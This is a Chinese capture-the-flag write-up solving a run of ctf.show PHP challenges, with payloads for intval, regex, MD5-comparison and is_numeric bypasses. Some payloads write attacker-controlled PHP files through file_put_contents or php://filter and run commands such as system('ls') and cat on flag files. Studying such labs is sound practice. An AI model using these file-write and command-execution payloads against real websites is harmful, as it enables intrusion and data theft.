摘要:所以我们要让传入的参数要有返回此时不是两个等号,所以不是弱类型,然后我们可以尝试使用进制和进制,但是字母被禁了,所以我们可以使用进制。输出带的话会被认为是科学计数法,可以通过检测。
目录
很明显要让我们get传入一个num参数,然后num还要是数字输出flag,但是源码里0-9都被禁了
此时我们可以使用数组的方法进行绕过
?num[]=1
因为
preg_match()返回 pattern的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。可以通过数组的方式通过 **intval()** 不能用于 object,否则会产生 **`E_NOTICE`** 错误并返回 1
数组为一个对象,然后将会返回一个1的数
include("flag.php");highlight_file(__FILE__);if(isset($_GET["num"])){ $num = $_GET["num"]; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); }}
很明显的,我们有两个方法
?num=4476a//弱类型?num=0x117c//十六进制
show_source(__FILE__);include("flag.php");$a=$_GET["cmd"];if(preg_match("/^php$/im", $a)){ if(preg_match("/^php$/i", $a)){ echo "hacker"; } else{ echo $flag; }}else{ echo "nonononono";}
在这里有两个匹配
preg_match("/^php$/im", $a)//匹配多行的phppreg_match("/^php$/i", $a)//匹配第一行的php
所有这个题的意思,匹配多行是要有php,然后匹配第一行的时候要没有php
payload:
?cmd=123%0aphp //%0a为换行符
?num=0x117c?num=010574?num=4476e123,特殊的e表示科学计数法,在intval()函数读取到e的时候就会停止
十六进制和把八进制进行绕过
在判断时多了对字母的禁用,十六进制和科学计数法就被禁了,八进制依然可以
?num=010574
这次多了个函数
if(!strpos($num, "0"))意思为不匹配到0则执行语句内strpos函数为返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
所以我们要让传入的参数要有0返回1
此时不是两个等号,所以不是弱类型,然后我们可以尝试使用8进制和16进制,但是字母被禁了,所以我们可以使用16进制。然后还要在值的前面加上一个+或空格。intval函数会对空格开头进行一个删除的处理
?num=+010574?num= 010574
题目的源码基本相似,但是会禁用一些地方,如字母,数字,特殊具有的一个函数
intval()注:如果字符串包括了"0x"的前缀,使用16进制如果字符串以"0"开始,使用8进制,其他都论十进制
大体的payload如下
小数点(含有0)//?num=4476.0科学计数法//?num=4476e0十六进制//?num=0x117c八进制//?num=010574八进制+空格//?num= 010574正负号//?num=+4476.0
路径问题
/var/www/html/flag.php 绝对路径./flag.php 相对路径php://filter/resource=flag.php php伪协议
很明显的要让a和b不相等,然后还要md5的值相等,最简单的就可以数组
?a[]=1&b[]=2
md5
弱比较$a=(string)$a;$b=(string)$b;if( ($a!==$b) && (md5($a)==md5($b)) ){echo $flag;}md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。payload: a=QNKCDZO&b=240610708
强比较$a=(string)$a;$b=(string)$b;if( ($a!==$b) && (md5($a)===md5($b)) ){echo $flag;}这时候需要找到两个真正的md5值相同数据a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
该题的主要知识点
三目运算符
if($_GET) $_GET=$_POSTelse $_GET="flag"
if($_GET["flag"]=="flag") $_GET=&$_COOKIEelse $_GET="flag"
if($_GET["flag"]=="flag") $_GET=&$_SERVERelse $_GET="flag"
所以我们get随便传一个,然后post传 HTTP_FLAG=flag即可
payload get:1=1 post:HTTP_FLAG=flag
in_array弱类型比较
$allow = array(1,"2","3");var_dump(in_array("1.php",$allow));返回的为true$allow = array("1","2","3");var_dump(in_array("1.php",$allow));返回false
file_put_contents函数
file_put_contents(file,data,mode,context)file:规定写入的文件data:写入文件的数据mode:如何打开/写入文件(FILE_USE_INCLUDE_PATH,FILE_APPEND,LOCK_EX)context:文件句柄的环境
payload
get:?n=1.php post content=
此时就写入到了1.php,然后打开1.php
post 1=system("ls");1=system("cat flag36d.php");
在第一部分
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
所以只要v1为数字,v0就为true
第二部分
v2要没有;v3要有;
payload
v1=1&v2=var_dump($ctfshow)/*&v3=*/;v1=1&v2=?>/*&v3=;*/v1=1&v2=-system("ls")-&v3=-1;v1=1&v2=echo&v3=;system("ls");
代码与web100相似,不过v2和v3过滤掉了好多东西
我们可以使用反射类构造echo new ReflectionClass(‘ctfshow’);
?v1=1&v2=echo new ReflectionClass&v3=;
ReflectionClass类
ReflectionClass 类报告了一个类的有关信息。
call_user_func函数
把第一个参数作为回调函数调用
第一个思路:
在php5的环境中,是可以识别十六进制的,也就是如果传入
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(的十六进制)
也是可以识别为数字从而绕过
payload
get:v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.phppost:v1=hex2bin
但是本题无法使用,因为本题的环境为php7,
var_dump(is_numeric("0x3c3f706870206576616c28245f504f53545b315d293b3f3e")); 下返回false
第二个思路
要让v2全为数字,考虑利用伪协议写入
get:v2=?&v3=php://filter/write=convert.base64-decode/resource=1.phppost:v1=hex2bin
现在就是要找到一个代码base64编码后在转为十六进制为全数字
5044383959474e6864434171594473
$a="=`cat *`;";$b=base64_encode($a); // PD89YGNhdCAqYDs=$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。 输出 5044383959474e6864434171594473带e的话会被认为是科学计数法,可以通过is_numeric检测。
payload
get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.phppost: v1=hex2bin
题目小总结:
题目首先让我们传入v1,v2,v3参数,然后v2或v3为数字才会执行后面,在if语句内,变量s为v2从第3个开始截取字符,变量str为v1调用函数,此时我们v1可以使用hex2bin函数,字符将从十六进制转换为ASCII 字符
源码在上一题多增加了if(!preg_match("/.p.h.p./i",$str))
get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.phppost: v1=hex2bin
sha1函数
计算字符串的 sha1 散列值
payload:
POST v1=1GET ?v2=1
未完待续~~~
啊????????
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/119743.html
摘要:模块第关是一个注入漏洞绕过循环后可以拿到一个登录界面登录界面存在注入脱库以后会提示在另一个文件中利用数据库的文件读写功能读取文件内容即可拿到开局是一个循环需要传递参数参数对应的执行结果有四种前两个是字符串没啥用作者的目的应该是想让我们输出 ctf.show WEB模块第14关是一个SQL...
摘要:萌新模块的关这一关考察的是函数转换字符串时的特性以及的拼接绕过这一关直接就给了源码并提示我们时就是先分析一下源码首先是函数将参数转换为数值型直接结束程序也就是说我们传递的不能大于明知道就是但不能直接传否则程序会直接结束传递的即不能大于又需 ctf.show 萌新模块的web1关, 这一关...
web380-扫目录文件包含 扫目录,存在page.php 访问发现报错,$id参数,可能存在文件包含 /page.php?id=flag web381-读源码找后台地址 page.php已经无法文件包含 看源码有一个可疑的路径 访问这个目录,最后注意一定要带上/ web382-383弱口令加万能密码 上题的/alsckdfy/目录访问之后是个登录界面 burp抓包爆破就行了,p字段,这...
摘要:萌新模块关这一关是代码执行漏洞需要灵活的运用的命令执行函数在上一关的基础上又过滤了关键字看起来已经没啥思路了但仔细一看它居然取消了对分号的过滤这样一来就好办了继续上一关的曲线救国思路先请求传递一句话木马再用请求传递系统命令即可拿到进入页面 ctf.show 萌新模块 web15关, 这一...
阅读 2961·2021-09-24 09:48
阅读 3346·2021-09-10 10:50
阅读 663·2021-08-23 09:46
阅读 815·2019-08-30 15:44
阅读 2419·2019-08-30 13:53
阅读 2886·2019-08-29 12:48
阅读 3612·2019-08-26 13:46
阅读 1565·2019-08-26 13:36